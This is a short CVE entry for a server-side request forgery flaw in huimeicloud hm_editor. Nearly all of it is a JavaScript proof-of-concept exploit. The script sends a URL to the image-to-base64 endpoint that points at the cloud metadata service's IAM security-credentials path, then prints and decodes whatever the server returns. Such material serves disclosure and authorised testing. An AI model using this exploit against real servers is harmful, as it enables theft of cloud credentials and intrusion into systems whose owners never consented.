CVE-2026-5346: huimeicloud hm_editor 存在SSRF漏洞

// PoC for CVE-2026-5346: SSRF in huimeicloud hm_editor // Target component: image-to-base64 Endpoint // Description: Sending a malicious URL to the server to force it to fetch internal resources. const axios = require('axios'); async function checkSSRF(targetUrl) { // The vulnerable endpoint accepts a 'url' parameter const endpoint = `${targetUrl}/api/image-to-base64`; // Malicious payload targeting internal metadata service (common in cloud envs) // Replace with internal IPs like http://127.0.0.1:8080 for local testing const maliciousUrl = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'; const payload = { url: maliciousUrl }; try { console.log(`[+] Sending request to ${endpoint} with URL: ${maliciousUrl}`); const response = await axios.post(endpoint, payload); // If successful, the server returns the base64 encoded content of the internal URL if (response.data && response.data.content) { console.log('[+] Exploit successful! Leaked data (Base64):'); console.log(response.data.content); // Decoding example const decoded = Buffer.from(response.data.content, 'base64').toString('utf-8'); console.log('[+] Decoded content:'); console.log(decoded); } else { console.log('[-] Request sent but no sensitive data returned or format different.'); } } catch (error) { console.error('[-] Request failed:', error.message); } } // Usage: node poc.js http://localhost:3000 // checkSSRF(process.argv[2]);